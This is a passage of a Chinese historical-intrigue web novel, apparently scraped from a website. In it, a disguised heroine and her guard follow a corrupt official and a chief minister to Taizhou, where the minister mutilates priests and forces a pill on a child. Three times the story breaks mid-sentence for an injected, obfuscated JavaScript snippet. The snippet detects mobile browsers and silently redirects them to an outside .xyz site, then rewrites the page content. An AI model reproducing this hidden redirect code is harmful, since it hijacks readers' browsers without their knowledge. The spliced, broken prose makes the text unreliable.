知雨真诚发问：“娘亲，既然他这副模样，你怎么还带他出门呢？” “呃……这是因为……他犯了错，刚从府上逃出来，也没地方去啊。” 知雨本性善良，这会儿也不厌嫌他了，大方道：“既然没地方去，不如就到我们家来吧。我让爹爹给他开五两银子一个月，每天喂喂院子外的流浪猫就好了。” 又见李清白把他捂得严实，心疼道：“娘亲你手松点，别把他给闷死了。” …… 回到霁园，李清白支开众人，将夏荫单独留在房中。 他一路生着闷气，这会儿更没给她好脸色看，一双瑞凤眼蹭蹭冒火，嘴皮子上下翻飞： “李清白，我好歹也陪你来了江都，你就是这么报答我的？” “你还好意思说？其他锦衣卫都出危险任务，我爹怕你受伤，什么都不敢让你做，就让你陪我来送趟贺礼，我还得报答你是吧？” “那，那你也没说，你要替姜越嫁给谢昭，我还得给你当仆人啊！” “你还说！以后把嘴捂严实了，休要出卖我。” 夏荫叹气：“我说，怎么不学学你爹呢？他老人家，世袭的锦衣卫指挥同知，成日里喝茶摸鱼，别提有多快活。你在京中撒撒野也就罢了，偏要跑到这儿来以身犯险。若不是祖父把我丢来镇抚司锻炼，我绝不趟这些浑水。” 李清白啐了一口道：“呸，他个贪生怕死的老混子，我才不学他呢！谢昭强娶表妹，我怎能坐视不理？他和许灵阶狼狈为奸，我又怎能袖手旁观？若能找到他们贩私盐、侵吞国库、害人性命的证据，不知多少人能睡个安稳觉。” 夏荫不屑：“这和你我有什么干系？我只盼明年冠礼后，娶个门当户对的娘子，得个闲散官职，一辈子逍遥快活。” 她无意再对牛弹琴，迅速转圜话题：“夏荫，我问你，这两日，你究竟查到些什么？” 忆起当时的恐怖情境，夏荫面露骇然：“那日谢昭离席，我悄悄尾随他到了一处悬崖，亲眼看见他将前吏部侍郎尹荣一家十七口逼下山崖！可怜尹荣一生正直，花甲之年致仕归乡，却落得个这般下场，谢昭他真该死啊！” 李清白咬牙攥拳：“还有呢？” “他今日离府，是坐船去了太州，动机不明。可巧的是，你猜谁也在那？” “许灵阶？” “你怎知道？” “恐怕谢昭此去，是得了这位首辅大人的命令，又有什么恶事要做。尹荣为官多年，性情刚直，大概早就得罪了许党，才引来杀身之祸。夏荫，我们得尽快去往太州，监视他们的一举一动。” 夏荫翻白眼：“啊？不是说，我只需要帮那小孩喂猫就好嘛？” “你以为五两银子那么好挣？抵过知县月俸了。” “我可不想再折腾了。” “行，那你就留在这儿喂猫，等我回来。” …… 翌日清早，天还没大亮，她迷迷瞪瞪躺在床上，听见外头似乎有人在争执，声音还不小。 小沛告诉她，是夏荫在晨训时与人起了冲突，惹来大家不满，再闹下去，只怕所有人都要受罚。 她一边在心里叫骂，一边火速赶到事发地，见十多名绿衣府卫正举着叉棍围着夏荫吵嚷示威，而他本人气定神闲地坐在石桌上，翘着二郎腿悠闲饮茶。 她拨开人群，冲夏荫发火：“阿夏，你怎么回事？” 夏荫不慌不忙嘬了口茶：“是他们自个儿要闹，关我什么事？” 这时，有个外貌敦实的小伙子骂开了：“瞧你这细皮嫩肉、麻杆身材，能干什么活？都是下等人，怎么就你能偷懒喝茶？等管家回来，有你好受的！” 夏荫懒懒道：“一个月就五两银子，那么卖力干嘛？” 众人一听，眼中火光直冒：“什么？五两银子一个月？凭什么？” 夏荫火上浇油：“怎么，你们一个个膀阔腰圆的，连这也挣不到吗？” 那些五大三粗的汉子，哪里肯受这样的侮辱，扬起家伙就要对夏荫动粗。李清白还未来得及出手，夏荫不知使了什么功夫，弹指之间叉棍尽断，掉落一地，砸得邦邦响。 趁大家还没反应过来，她赶忙赔笑：“诸位，这是我娘家府上的一个仆从，身手很是了得，做了我的贴身护卫，才多给了些月钱。只是他从小脑子就不太好，有时说话颠三倒四，行为失常，唐突了大家，实在不好意思。这样，等管家回来，我和他商量，给大家多涨二两月钱！” 众人齐刷刷跪地，慷慨激昂： “夫人真是慈悲心肠啊！” “夫人真是人美心善啊！” “今后只要夫人一句话，我等必定誓死效忠！” …… 回房路上，夏荫抱怨个不停： “你干嘛老是说我脑子不好？我好歹也是太子太保、礼部尚书、建极殿大学士夏弦之爱孙，这样污蔑我的声名，以后还怎么娶媳妇？” “那怎样？说你是锦衣卫，和我一同在他府上查探？还是不忍你伤及无辜，和你打一架？若是暴露了身份，你我都吃不了兜着走。” “是他们先挑事的！区区五两银子，还要我出卖苦力？连本少爷的茶钱都不够。” 李清白给气笑了：“夏荫，你信不信，若无家门庇佑，你当个奴仆都不够格。” 夏荫有被激将到：“行，那我就当给你看！” …… 日落，珠瑜湾。 雪停后，世间风景总是格外温柔。往日烟火缭绕、嘈杂不堪的码头，此刻沐在淡金的光晕里，像个骤然文静的小姑娘，抿唇偷瞄着来来往往的行人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242687|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李清白一身素雅打扮，领着知雨不疾不徐往船头走，身后是轻装上阵的数十个仆人，以及——驮满大包小包被远远甩在后面的黑脸夏荫。 众人都上了船，只等夏荫一个。她站在甲板上，悠悠朝他挥手：“喂，你倒是快点呀！” 夏荫跌跌撞撞上了船，几乎跪倒在地——他们娘儿俩的衣物书本，路上吃的干粮，甚至那些下人的随行物品，全压在他一人肩上。卸下重担的那一刻，他只感觉人又活过来了，吐着舌头淌着汗，像只炸毛的哈巴狗： “不带这么欺负人的！” “你工钱又高，又图表现，他们可不得想法子偷懒？” “喂！我好歹也是……” 李清白把嘟嘟囔囔的夏荫拽进舱内，用水囊封住他的嘴：“好了，少说几句。” 夏荫大口大口喝起来，语带埋怨：“等把你送到太州，见到谢昭，我就回京去，再不掺和你这些破事了。” “随你。” 暮色渐浓，船沿运盐河缓缓驶向太州港。知雨第一次坐船出远门，激动得不得了，船头船尾四处疯跑，让人把自己举在肩上看夜景，说什么也看不够。 水浪一拍拍抚平心绪，夏荫靠着舱板，松了神思，打算将就着眯上一夜，阖眼前，习惯性瞟了她一眼。 欸，她怎么脸色白得吓人啊？ “喂，你怎么了？” 李清白捂嘴摇头。 夏荫看她一副摇晃欲呕的样子，疑心道：“你该不会是晕船吧？” 李清白无力地点点头，立马遭到一顿臭骂： “你有病吧！明知道晕船还要坐船，真当自己是铁打的汉子？也没人拿刀架着逼你去太州啊，逞个什么能？你爹都不急，你急什么？你……” 夏荫骂骂咧咧点了她内关、风池等穴，又摸出一小瓶薄荷油涂在她太阳穴，塞一粒糖青梅让她含着，总算没让她吐在船上。 半晌，李清白顶着湿漉漉的发梢，勉力抬起头笑笑：“多谢你。” 夏荫挖苦道：“别谢我，谢你自己。要不是上次你害得我晕马，我哪会随身带这些东西。” “我晕船的事，不准往外说啊。” “我刚说的话你有没有听进去？还有大半宿，你怎么撑过去？到了太州，出行都是水路，你也要硬扛吗？谢昭那么毒的心思，要是发现点什么，还不把我们丢进河里喂鱼？我现在就让船家靠岸，我们坐马车回去。” 她咬着苍白的下唇，死死捉住夏荫手腕：“不回去。” “不行，这次说什么都得听我的！” 她眼光犀利：“你怕了？怕我拖累你，怕他们下毒手，怕万一出了事，你没法和我爹交待？” 夏荫被说中心事，低头不敢看她。 她掏出笔墨，认真写了张鬼画符的字条给他：“你拿着这个，现在就下船，回去。喏，上头清清楚楚写着，一切都是我自己的主意，与你夏荫无关。若是阴阳两隔，来年春天，记得带壶好酒来看我。” “喂，你这是什么意思？我们一起来的，我岂有丢下你的道理？还有，小姑娘家家的，怎么说这样的话？” 李清白侧过身去，不再看他。 夏荫盯着她侧脸，那样柔和的弧线，坚毅的骨骼，如半面明镜，照得他于心有愧。 这小妮子是铁了心要刨根问底了，他身为男子，哪能做逃兵？ 他一咬牙，将那字条撕得稀碎：“姑奶奶，我说什么都奉陪到底，这总行了吧！” 8. 拜斗 翌日辰时，船将至太州港。 天已大亮，潮湿的劳作声随雾蒙蒙的阳光洒入舱内，夏荫不由得睁眼。 他想伸展下蜷缩的手脚，发现她正靠在自己肩上，瞬时就不敢动了。低头凝视那张异常恬静的脸，禁不住想起她在京中时的模样。 她性子豪爽，常作男装打扮，带几个便装锦衣卫就大摇大摆出门，遇到缺斤短两、欺凌弱小之事，总是仗义不平、快人快语，说得人家面子挂不住了，便免不了大打出手，十有八九回家都要挨骂，她却屡教不改。 那时他总爱斜眼看她，笑她举止粗鲁、枉为女子，如今有机会细细打量，见她雪面玉骨，唇若丹霞，倒有些怔住了。 生得这样好看，怎非要掩藏起来呢？ 只是她眉眼间总笼着淡淡的愁意，不知是否还在为谢昭和许灵阶而烦忧。老实说，纵然她有所筹谋，此二人也断不是她能招惹的。 想到这，他心头一紧，身子微动。李清白有所觉察，缓缓睁开了眼。 下一刻便从他身上弹开：“夏荫，你没占我便宜吧？” 他不自觉地有些失落：“想什么呢，你晕船，所以借我肩膀靠了一下，其余的什么都没有。” 她目光扫过熟睡的知雨，落在鼓囊囊的干粮包袱上，拿了两个杂粮馒头和几块枣花糕，就着水大口嚼了起来，吃得很香。 夏荫呆呆看了她半晌，听得喧声渐近，撩起舱帘，见岸上雾霭蒸腾，人潮如织，酒肆食铺林立，回头冲她一笑。 “阿白，我们要上岸了。” 太州港比珠瑜湾还要热闹，船将靠岸，睡眼惺忪的知雨一下子就兴奋了起来，盯着来来往往的行人看，不一会儿，却焦急地喊了起来： “娘亲，娘亲！他们在抓人哎！” 李清白循声望去，只见岸上来了一队凶神恶煞的官兵，将一名奇装异服的老者踹翻在地，撕了他头戴的纸帽，扔了他手持的笏板，拿绳子绑了人就往城里拖。 老者须发皆白，神情悲怆，向着苍天不断高呼：“我命虽在天，造命却由我！” 百姓们如鸟兽散，她又同情又好奇，命船家快些划，三两步纵到岸上，快步追了上去： “你们干嘛抓这老伯？” 为首的痦子兵将她打量一番，嚣张道：“区区女流，关你何事？小心连你也一起抓走！” 李清白扫了老者一眼，镇静道：“他年事已高，想来难行杀人放火、奸淫掳掠之事；手中空空如也，也非偷盗之徒。难道仅仅是因为衣冠奇特，污了大人尊目，便要送去坐监？” “哼，这老头子犯的是大不敬之罪！身为章华书院主讲，日日跑到市井之地，给那些个打渔扛盐的讲歪理，辱了圣人，带坏了百姓，简直罪该万死！” “哦？是何歪理？” 老者沉声长叹：“唉，圣人之道，无异于百姓日用。百姓生计乃头等大事，乃天经地义之事，欲之不满，身之不存，国家何安，天下何立？” “放肆！”一旁的大块头闻言大怒，扬手就要给他一巴掌，被李清白伸臂掣住。 “凭什么打人？他说的是实话！” 大块头抖动满脸横肉：“你个娘们儿懂什么？皮痒了，也想去咱们州衙坐坐？” 李清白轻哼一声，朝身后冷冷道：“阿夏，该你了。” …… 一阵风的功夫，方才还耀武扬威的官兵，瞬间抱头倒地不起，哎唷哎唷叫唤个不停。李清白得意地抓起大块头的领口，大大方方自报家门： “你可听好了，我夫君是江都大名鼎鼎的盐枭谢昭，有仇只管找他报。” 随即命人送老伯回家，拍拍手扬长而去。 …… 进城路上，李清白愉快地吹着口哨，不时停下来摸摸小摊上的彩笛泥塑，顺便与夏荫耳语： “咱们就只管在太州撒野，捅了天大的篓子，也是算在谢昭头上。” 夏荫深表赞同。 二人站在一家糖水铺门前，等着家丁们背行李抱知雨过来，忽见街上刮起一股黑旋风，十余名黑衣人策马扬鞭而过，身侧刀光疾闪，刺眼如夏日艳阳。 她一眼就认出，为首那个佩绿鞘蓝宝雁翎刀的，正是那日出手伤人的谢府府卫。 这青天白日的，穿着夜行衣招摇过市，难道又有什么龌龊事要做？ 她立下决断：“你找匹快马跟上，自己注意安全，有事及时联络。” 夏荫不愿离开：“你一个人我怎么放心。” “来不及了。”她急急推他，“夏荫，若再有尹荣那样的事，你一定一定要想办法阻止。” …… 等来了知雨他们，领众人吃了道酒酿丸豆花，她闷闷走在队伍最后头，低头瞅着自己的粉色鞋尖，懊恼若是一早穿了男装，就能和夏荫一块行动了。 “娘亲，我们是去找爹爹吗？” 知雨稚嫩的声音从前方飘来，她有些犹疑，不知该作何回应，却听到孩子蓦地欢欣鼓舞： “爹爹，爹爹！” 啊？ 不会这么巧吧？ 她抬头目视远方，不可避免地被人群中那抹玄色吸引。 那无比熟悉的、万般审视的目光，此刻亦穿隙而过，与她短兵相接。 她心中咯噔一下。 倒不是怕谢昭什么，而是站在他身前的，正是一人之下万人之上的大旻首辅许灵阶。他着太师青蝠纹补直身，腰悬狮蛮纹玉带板，面相不怒自威，相隔数尺都能感觉到压抑。 躲是躲不过了，她硬着头皮迎了上去，这才注意到谢昭身旁还有个紫袄小姑娘，模样灵秀气质淡雅，见她有些张惶，施以暖然一笑。 她被这笑容定了心神，恭谨行礼：“许大人。” 许灵阶稍稍抬袖，露出手上的金雕玄鸟镶宝玉韘，意味深长道：“谢昭，这是你新娶的夫人？” 谢昭脸色发青，咬牙憋出一个：“是。” 随即狠狠训斥她：“你带知雨来这儿做什么？没有我的首肯，谁准你私下外出的？我不在家，你就无法无天了吗？谢府何时轮到你当家作主了？……” 见她委屈，许灵阶微扬嘴角：“欸，自家新妇，嫌闷出来玩玩，何必如此动怒。小女见卿正愁没人说话呢，如此一来，倒多了个可心的玩伴，甚好。” 许灵阶家大业大，妻妾子女成群，这小姑娘看起来不过十三四岁，也不知是他哪位夫人所出。她咧嘴应付着，对上小姑娘清澈的眼，只盼她将来出淤泥而不染，别和她长兄许之瑶一个做派。 谢昭没骂她了，许灵阶却状似不经意地提了一嘴：“阿昭，你这位夫人倒是好眼力啊。” 她看见谢昭脸色由青转白，瞬间意会过来，自个儿手心也开始冒汗。姜越乃江都县丞的掌上明珠，自小养在深闺，从未见过一朝首辅，方才想都没想就脱口喊了许大人，实在是有所疏漏。 她飞快转动神思，笑吟吟道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242688|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“民妇虽从未见过许大人，可细细想来，能令夫君俯首低眉、心悦诚服的，除却当今圣上，也只有许大人一人了。” 许灵阶哈哈大笑：“都说姜尚的宝贝女容色倾城，如今看来更是聪慧可人。正巧我们要去趟城隍庙，看看拜斗仪式准备得如何，你便随我们一起吧。” 她甚少接触那些神佛之道，更不知拜斗是何意，只听得可以去城隍庙玩，心情立时放松了不少。一路上谢昭都没理她，只是快到庙里时，抓了个空当质问她： “你给我说实话，到底来这儿干什么？” 她挤大眼睛装无辜：“你那么凶干嘛？知雨很想你，成天嚷嚷着要来找你，我被他闹得实在没办法，只好带他出来了。” “他还这么小，出来远行，万一有个闪失，你担当得起吗？待会仪式结束，你们一刻也不要停留，到太州港坐谢家船回去。” 他越是这么说，她就越是起疑，愈发要待在这里，看他玩什么花招。 “好不容易出来一趟，我们才不回去呢。太州可是学术圣地，遍地都是文人士子，又有远近闻名的书院，知雨来游学一趟，该是能长进不少。” 谢昭皱着眉想了想，勉强松展开来：“这样也不是不行，只是你们除了去书院，就老老实实待在意园，哪也不要去，更不要结识无关之人。我会加派人手保护你们的安全。” “意园？” “我在太州的一处府邸。” 谢昭瞅她那两眼放光的神情，只差把“意园有什么好吃的”写在脸上了，无可奈何地摇摇头，转动乌靴朝许灵阶方向追去。 本朝信奉道教，自恒熙帝怠政、许灵阶固权以来，全国各地新增了不少道观庙宇，斋戒礼拜之仪更日甚一日。时值九月初一，北斗九星之母斗姆诞辰在即，须大行斋醮，设坛燃灯，颂经奏拜，可保星辰顺度，消灾解厄，命运亨通。 这间城隍庙虽然不大，却是仙雾腾腾、诵音绕梁，身穿金丝道袍的道士们手持法旗师刀，在坛场翩翩起舞，嘴里念念有词，俨然一出折子戏。许灵阶闲庭信步，不时对法器、灯器、供香、符咒等施加指点，着天仙洞衣的高功法师分毫不敢怠慢，举手投足间，竟隐隐透出几分浸淫凡俗的谄媚劲。 知雨被主殿中六臂庄严的斗姆元君吓坏了，缩在李清白怀里不肯出来，她只得抱着他一通好哄，绞尽脑汁编神仙斗法的故事，小人儿这才缓和了许多。 离阳明贪狼星君的拜礼尚有时辰，道士们便跪在殿前，齐齐恭颂《北斗经》，氛围一派祥和。李清白被那香薰和诵经声搅得头脑昏昏，索性抱着知雨缩到人群最角落，教他数在场有多少个道士、多少件法器，打发打发无聊的时光。 天高云淡时，却平地炸出一声闷雷，令在场所有人心惊胆战。 “方才那句’大圣北斗七元君，能解疫疠厄’，是有人舌头打了结吗？” 一时间鸦雀无声，道士们你看看我，我看看你，纷纷露出惊惶又猜忌的神情。 许灵阶淡淡望着他们，像执掌天意的神，一念可动万物。 “如此不尊不敬，就不怕斗姆元君降下责罚吗？” 他略微抬高了声调，便有几个年轻的道士两脚发软，险些出了洋相。 高功法师躬身道：“大人，他们昨晚彻夜准备，难免有些疲累，我这就让他们从头再颂。” 许灵阶牵起嘴角，似笑非笑：“不，我要你找出那个说错的人，割下他的舌头作为惩戒。” 9. 息怒 此言一出，全场哗然。道士们跪在地上抖如筛糠，许见卿拉着她爹爹的手臂不住求情，但许灵阶根本不为所动。 谢昭立在他身侧，脸上毫无波澜，似乎早已司空见惯。 高功法师觍着脸道：“大人，不如这样，我让他们将真经抄写百遍，连夜送到您府上。” 许灵阶并不理他，含笑审视战战兢兢的众道士，如天神玩弄世人。 “你们就没有主动出来认错的？” 道士们皆知他雷霆手段、言出必行，已然吓破了胆，哪有人愿意送死，均低首咬牙不语，各自祈祷能够平安渡劫。 许灵阶环顾四周，高扬声调：“我再问一遍，有没有人出来认错？” “最后一遍——” 全场寂如坟冢，连鸟雀声也听不见，许灵阶挂着凉薄的笑意，清脆地拍了三声掌，平静地下达了处决令： “很好，既然没人认错，那么每个人都有错。阿厌，带着你的人，把他们的舌头都割下来。” “大，大人！” 高功法师猝然跪地，双手因战栗而无法撑起，如一条散了骨架的癞皮狗。那个名叫阿厌的亲随强行抬起他下巴，蔑笑道：“你慌什么？割了你的舌头，谁来替我们主持仪式？” 阿厌摆手下了命令，顷刻间数道刀光迎风而起。 道士们尚不及反应，便被掏扯出舌头，眼眶暴凸，面容扭曲。 知雨早被吓得丢了魂儿，呆滞着大眼一动不动，血光降临的那一瞬，李清白才从震怖中回神，后知后觉去捂他的眼—— 一切都已太迟，一切都不算太迟。 谢昭不知何时到了他们身前，玄袍因风而起，恰巧挡住了母子俩的视线。象征吉祥如意的瑞兽纹落在知雨眼中，立时消解了草菅人命的煞气。 她迅速背过身去，捂住知雨双耳，可撕心裂肺的痛叫声依然响彻殿中，引得知雨哇哇大哭。 “哇……” 惨遭割舌的道士们很快被拖出了殿外，唯有知雨的哭声绕梁不绝。一时间，众人的目光都聚了过来，谢昭随许灵阶走近，还未等他开口，就先出言训斥： “大好的日子，哭什么哭？阿越，带他出去，别扫了大人兴致。” 她唯唯诺诺点头，擦把汗就要抱知雨出去，许灵阶却移步挡住去路，笑眯眯从怀里掏出一个小葫芦瓶，将一粒暗红的小丸倒在掌心： “无妨。这孩子精神虚弱，心志不定，吃了我这九阳乾坤丹，不出三日便会转性。喏，知雨？” 旻朝只手遮天的大人物，竟舍得纡尊降贵，伏低身子与知雨对视，摆明了不容拒绝，否则便是公然与首辅大人叫板，妥妥的大不敬之罪。 她迎向他眼中难明的晦色，身子虽微微发抖，喉间却迸出清亮之音：“敢问大人，这仙丹是何成分，有无毒性，是否适宜四岁小儿服用？” 许灵阶嗤笑一声：“怎么，你怕我害他？” 阿厌在一旁阴阳：“这可是我家大人请高人用秘方炼制的，一般人得不到的赏赐，岂容你这小小妇人质疑？” 知雨害怕地缩缩头，小声道：“娘亲，我不吃。” 她把孩子抱得更紧些，哀哀看向谢昭，他却面不改色，厉声道：“还不多谢大人赏赐！” 她的心急速下坠。 她本不信神佛，此刻万念皆作信仰，乞求所有她记得名字的神仙，保佑他们渡过此劫。 绝望间，她听见有个细弱的声音求情：“爹爹，这丹药是您半月前才新制的，药性更强，这么小的孩子，容易虚不受补，依女儿所见……” 许灵阶一手将许见卿推开，一手将药丸递到知雨唇边，皮笑肉不笑道： “吃呀。” 知雨疯狂摇头，她本能后退，却感到后颈一凉——有人手持刀刃，堵死了她们娘俩的退路。 “阿越！” “吃！” 许灵阶不再同他们废话，死死抠住知雨细嫩的脖颈，将那人血般的红丸狠命塞进他喉咙深处。 “娘亲！娘亲！” “吃！给我吃！” “哇……” “知雨！知雨！” 她心如刀绞，恨不能替他受难，却被人反剪双手按在地上，怎么也挣不开。知雨被许灵阶强灌下药丸，咳喘不止，哭得快断了气，被丢进她怀里时，如一团滚烫的黏糕，瘫软得不成形。 许灵阶心满意足地扫视一地残红，命高功法师务必清洁如新，朗声大笑而去，众人亦紧跟其后。 她看见一双熟悉的乌靴停在面前，头也不抬道：“滚。” 半晌，有个紫花药瓶落入眼帘，她抬起头，许见卿正愁悯地望住她。 “你是许灵阶的女儿。”她眼里满是恨。 许见卿蹲下身，将药瓶轻放她脚边。 “谢夫人，实在对不住。你若信我，此中药丸，让孩子连服三粒，应是可解毒性。” …… 风吹雾散，云开日现，她抱着知雨浑浑噩噩走在太州街头，仍觉周身僵冷。方才的一切都似噩梦般阴森可怖，她恨许氏残忍，谢昭无情，更恨自己莽撞，千不该万不该带知雨来这么个鬼地方。 病急乱投医，她像着了魔一样，见药铺就闯，抓起老夫子就让人验药，直到那个瘦成精的百岁老头儿也拍着胸脯说无毒无碍，才敢让知雨服下。知雨止了哭，状态平复许多，张着袖子一遍遍替她擦额上的汗，大大的眼里满是心疼。 “娘亲，我没事。” 她垂下沾着汗珠和泪珠的眼睫，小心翼翼亲了他一口，再抬头时，眼中的柔情暖意却瞬间化作熊熊怒火—— 二十步开外，泥塑摊旁，那个杀千刀的男子正和小贩有说有笑，仿佛将一个时辰前发生的惨案忘得干干净净，只他一人岁月静好。 她怒不可遏地冲了上去，在他肩侧大吼：“谢昭——” 小贩吓得变了脸色，周边群众闻声探头探脑，谢昭不慌不忙将手中一只憨态可掬的红泥狗子递过来，笑容有些讨好：“看，多可爱。” 知雨怯怯叫了声爹爹，就要伸手去接，被她一把拦住：“爹爹？他算哪门子爹爹？为了巴结首辅，连亲儿子的命都不顾，他哪里配做你爹爹？不如去给首辅当孙子好了！” 谢昭缩手放下狗子，讪讪道：“阿越，你别动怒，我正要找机会和你解释。这样，前面有家泰昌楼……” 她冷笑着打断：“爷竟还有胃口吃饭？你为何如此寡情？知雨还是你亲生的吗？” 他叹气：“阿越……” “谢昭，幸亏是我嫁给你。” …… 她语速极快，围观群众听得有些懵，但还是热心地七嘴八舌起来： “哎哟，人都嫁了，忍一忍，日子总能过。” “孩子不是亲生的也没关系，你们再生一个就好了嘛。” “看在孩子的份上，算了，算了。” 她听得火大，愤然道：“什么叫忍忍就能过日子，为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242689|181932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子也要过？我自己的感受和心意难道不重要吗？嫁给一个不端不正不善不仁之人，为着不辜负声名，就要辜负自己一辈子吗？” 人群中，挎着篮子的妇女眼神开始躲闪，系着头巾的大爷瞪着自己的婆娘，转而教训起二人来： “小子，你是干什么吃的？就由着她骂？可真丢我们大老爷们儿的脸！” “看着一表人才的，连管媳妇儿的本事都没有，该不是倒插门吧？” “这种泼妇，就该关起来打一顿，好好饿几天才老实！” 李清白恨不得一人赏他们一个大嘴巴子，想着不能再吓到知雨，才勉强耐着性子与他们唇枪舌战。谢昭倒是没理会，踱着步子去买了包热乎的桂花糖炒板栗，一边剥壳，一边饶有兴味地看她与人争锋。她本未施粉黛，这会儿倒是樱唇粉面，光彩照人，格外赏心悦目。 她明显占了上风，骂得那些老大爷面红耳赤，呼哧呼哧喘着粗气。瞥见谢昭还在那嗑板栗看戏呢，火都烧到了颅顶，快速甩出一掌，掴到他耳边—— “不得了啦，泼妇当街打相公啦！” 惊呼声中，谢昭眼疾手快抬袖挡住，另一手拈起一粒黄灿灿的栗仁，轻巧地丢进她微张的嘴里。 “谢昭！你个死王八蛋，竟然……唔……嚼嚼嚼……” 不得不说，这栗仁绵软甘甜，满口桂香，当真是极品啊。 她嚼完欲再骂，谢昭又剥了颗板栗堵住她的嘴。 “你个天杀的……唔……嚼嚼嚼……” 他娘的，真想再来一颗啊。 趁她分心品味，谢昭玉指生花，一连捏开三颗板栗，瞅准时机投喂三连。 “谢昭你……唔……唔……唔……嚼嚼嚼……” 她瞪谢昭——板栗是真的甜，你也真不是个东西啊。 谢昭低头掩住嘴角笑意。 “不急，慢慢吃，我给你剥。” …… 那就先吃完栗子再跟他算账。 “这，这像个什么话！” “都别看热闹了，人小两口玩情趣呢！” “欸，散了散了！” 围观群众本巴巴儿地等着看夫妻反目的好戏，没成想，二人竟郎情妾意，甜如甘栗，纷纷撇着嘴指责他们不知廉耻，摇头叹气走开了。 “板栗好吃吗？” 她怔怔点头。 趁她发呆，谢昭伸出一指，迅速勾住她一指。 她本能想挣脱，却越挣越紧，索性由着他将自己勾近了半步。 “跟我回家吧。” “啊？” “有些事，回家和你细说。” 太州手工业发达，大街小巷都是引人注目的新鲜玩意儿。谢昭一手抱过知雨，一手牵住她，东逛逛西瞧瞧，有些孩子气的模样，倒与那些闲散公子并无二致。 她得以近距离看他，不由心生惋惜。 这样如松如泉的身姿，为何偏偏藏着副虎狼心肠？ 她凝神想着，没留意谢昭转过身，将一枚贝雕双鱼佩递到她跟前。 “喜欢吗？” 这贝饰莹润饱满，雕工精美，两条环抱的小鱼在虹彩中追逐嬉戏，灵动有致，她自是喜欢。谢昭和看人下菜碟的摊主讲了半天价，终于全款拿下。 在李清白鄙夷的目光中，他摇着她的手，弱弱道：“阿越，别生我气了。” “……” “原是我不好。吃过饭，我差人送你们回江都。” 10. 风起 回意园时，小厨房正在传菜。一水儿娇滴滴的青衫姑娘，一盏盏形制精巧的各色菜肴，流动在碧水红廊之中，仿若风拂画卷，姿态万千。 空气里弥漫着扑鼻的菜香，依她原本的性子，必是一步当做三步走，恨不能大快朵颐。可这短短半日所经历的，已耗尽了她的精神气，唯有在步入拨云堂时，直面许灵阶那双吃人的深瞳，才本能地打了个激灵。 谢昭撑住她手肘，在她背后轻轻拍了两下，随即护在她身前。 “大人。” 许灵阶抬袖允他们坐下，挑眉道：“阿昭，有阵子没来，你这园子打理得愈发好了。” 谢昭牵着李清白落座许灵阶右侧，恭谨拱手：“谢大人夸奖，那几个管事的还算能干。” 许灵阶举箸夹起一粒珍珠藕圆，端详晶洁如玉的米粒：“你的手下，个个能干得很，替你走南闯北、无事不成，连我的人都自愧不如啊。” 谢昭喉头微动：“不过是一群见钱眼开的家伙，拿钱办事倒也爽快，怎比得过大人您的亲信。” 许灵阶抬箸入口，细细咀嚼：“好东西，还是得慢慢吃啊。” 谢昭赔笑：“是，慢慢吃。” 桌上美食虽比不得京中丰饶，却都是些当地时鲜的爽口菜——水晶鹅、醉蟹、鳝脆、烫干丝、鱼饼虾球、银苗豆芽、芙蓉粥、梅花糕、油鸭蛋……许灵阶吃着吃着，脸上竟有了笑意，再看这小夫妻俩，一个忙着夹菜，一个堆菜成山，禁不住发问： “怎么，她这是胃口不好？” “谢大人关心。她……许是有些积食。” “哦？是你那包糖板栗害的？” 李清白脸微微红了，谢昭有些窘迫：“什么也瞒不过大人您的耳目。” “要我说，还是你招待不周啊。明日自在园赴宴，你把阿越带上，保准她吃得尽兴。” 谢昭脸色微变：“她？小门小户的女儿，哪里上得了这种台面？还是不去的好。” “欸，此言差矣。明日见卿也去，要员们的家眷都在，你若形单影只，岂不是不给韩老面子？” “大人，想来……” 谢昭话音未落，李清白却一口答应下来：“那就依大人所说。” 许灵阶视线之外，他狠狠剜了她一眼。 …… 意园占地虽不比霁园，依靠灵活精妙的布局，亦是巧夺天工。 入园经一细狭走道，西面四季海棠雍容热烈，簇拥“朗逸厅”，东面翡翠竹海清雅怡人，掩映“鸣鹤馆”，尽头处横亘“一鉴开”太湖石群，尔后得见主厅“拨云堂”。 西北向可见“依柳轩”、“邀月舫”、“忘归廊”、“乐乎堂”，东北向可见“静思廊”、“玉茗园”、“深深堂”、“了了斋”，衣带般的水群“不系舟”环抱其中，间有“豁然”、“濯浪”、“飞花”等亭，错落有致，使人流连忘返。 谢昭命人抱了知雨下去，自己送她回房。不知怎地，连主厅客房都不让她住，把她赶到最远最僻静的“深深堂”，好似她是这里最不受待见的客人。 